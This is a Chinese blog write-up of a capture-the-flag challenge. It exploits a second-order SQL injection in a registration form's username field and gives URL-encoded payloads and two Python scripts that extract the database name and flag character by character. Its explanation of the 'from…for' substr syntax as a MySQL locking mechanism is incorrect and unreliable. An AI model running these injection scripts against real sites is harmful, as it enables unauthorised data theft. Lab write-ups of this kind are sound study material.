攻防世界-unfinish(再遇SQL)


打開實驗環境:

實驗准備:Firefox 或 Chrome、python環境、御劍(用於掃描目錄)

非必須准備(不准備這個也能做題):Burp(SQL注入利器)、Vscode 或 Pycharm(用於寫python腳本)、火狐代理工具 ProxySwitcheroo

關於瀏覽器開啟本地代理的就不截圖了;

 

 

 

默認進入的是登錄頁面;login.php

 

打開御劍掃描目錄:

 

 

 

 看到了注冊的地址;在雙擊打開

 

 隨便注冊個賬號吧;

 

 

 

 

 

 這里面沒有其他提示,還把用戶名輸出了,所以就猜測這里存在用戶名注入漏洞;

 

 這邊開啟好了代理,打開Burp,點擊為 on ,Burp准備好了,點擊火狐瀏覽器的注冊,把表單發過去;

 

 

 

 上面圖片里講了很多,直接操作了;

 

 這個操作是錯誤的,嘗試了很久,這里提交的 郵箱、用戶名 需要進行URL編碼 ;這樣提交才能成功;

舉個栗子:

0'+ascii(substr((select database()) from 1 for 1))+'0

0%27%2Bascii%28substr%28%28select+database%28%29%29+from+1+for+1%29%29%2B%270

不進行URl編碼 ,他直接跳轉到 注冊頁面;也就是注冊失敗;

 

不試這個了,打開Vscode用腳本跑吧;

先做題前預習吧;

因為這是注冊賬號,然后數據庫讀取賬號名,觸發的SQL查詢;

所以 寫 pyload的時候 要使用 select ……for ;為啥? 這是因為 mysql數據庫的安全機制;當某個表內數據被操作的時候,不允許再對它使用其他命令;

(就像是我在超市買東西,我放到購物車里的火腿腸,這個火腿只剩一個了,現在暫時去別處拿東西,然后有的家伙也喜歡這個火腿,他就拿走了,這是不友好的)

(msyql數據庫就是這個意思,for 是啥呢,就是 那個家伙找到我,他說沒有這個火腿他活不下去,我就給了通過 for 語句告訴他,你拿走吧,沒關系的,好好活着!)

推薦倆個幫助理解鏈接:李秋讀書人

 

import requests
import re as r

re = requests.session()
url = 'http://220.249.52.133:47596/'

def register(email,username):
    url1 = url+'register.php'
    data = dict(email=email,username=username,password='123456')
    html = re.post(url=url1,data=data)
    html.encoding = 'utf-8'
    return html
def login(email):
    url2 = url+'login.php'
    data = dict(email=email,password='123456')
    html = re.post(url=url2,data=data)
    html.encoding = 'utf-8'
    return html

db = ''
table = ''
for i in range(1,10):         #取數據庫名
    pyload = "0'+ascii(substr((select database()) from %d for 1))+'0"%i
    email = "admin@ad.cn"+str(i)
    html = register(email,pyload)
    html = login(email)
    match = r.search(r'<span class="user-name">\s*(\d*)\s*</span>',html.text)
    asc = match.group(1)
    if asc == '0':
        break
    db = db + chr(int(asc))
print('database:',db)

 代碼中有提到,這是取數據庫名的腳本!

 

 看到了,數據庫名;

表名 flag (猜的),沒辦法了;下面提到 為啥 就 爆不出表名;

用表名拿 flag:中間注釋的是爆數據庫的,以及倆句想要爆數據表的(真是想想);

import requests
import re as r

re = requests.session()
url = 'http://220.249.52.133:47596/'

def register(email,username):
    url1 = url+'register.php'
    data = dict(email=email,username=username,password='123456')
    html = re.post(url=url1,data=data)
    html.encoding = 'utf-8'
    return html
def login(email):
    url2 = url+'login.php'
    data = dict(email=email,password='123456')
    html = re.post(url=url2,data=data)
    html.encoding = 'utf-8'
    return html

db = ''
table = ''
# for i in range(1,10):         #取數據庫名
#     pyload = "0'+ascii(substr((select database()) from %d for 1))+'0"%i
#     email = "admin@ad.cn"+str(i)
#     html = register(email,pyload)
#     html = login(email)
#     match = r.search(r'<span class="user-name">\s*(\d*)\s*</span>',html.text)
#     asc = match.group(1)
#     if asc == '0':
#         break
#     db = db + chr(int(asc))
# print('database:',db)

for i in range(1,50):           #取表名     information_schema.tables 被過濾; mysql.innodb_table_stats  mysql.innodb_index.stats
    # pyload = "0'+ascii(substr((select group_concat(table_name) from mysql.innodb_index_stats where table_schema=database()) from %d for 1))+'0"%i
    # pyload = "0'+ascii(substr((select * from flag) from %d for 1))+'0"%i
    pyload = "0'+ascii(substr((select * from flag) from %d for 1))+'0"%i
    email = "admin4@ad.cn"+str(i)
    html = register(email,pyload)
    html = login(email)
    match = r.search(r'<span class="user-name">\s*(\d*)\s*</span>',html.text)
    asc = match.group(1)
    if asc == '0':
        break
    table += chr(int(asc))
print('table_name:',table)

 

 

怎么配置python環境,以及配置Vscode的python環境都不說了,我感覺這難不住強大的你;下面說說爆表名為啥不行!

 

 在最后掃尾解釋一點腳本的意思吧;

 

 

 有道雲筆記

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM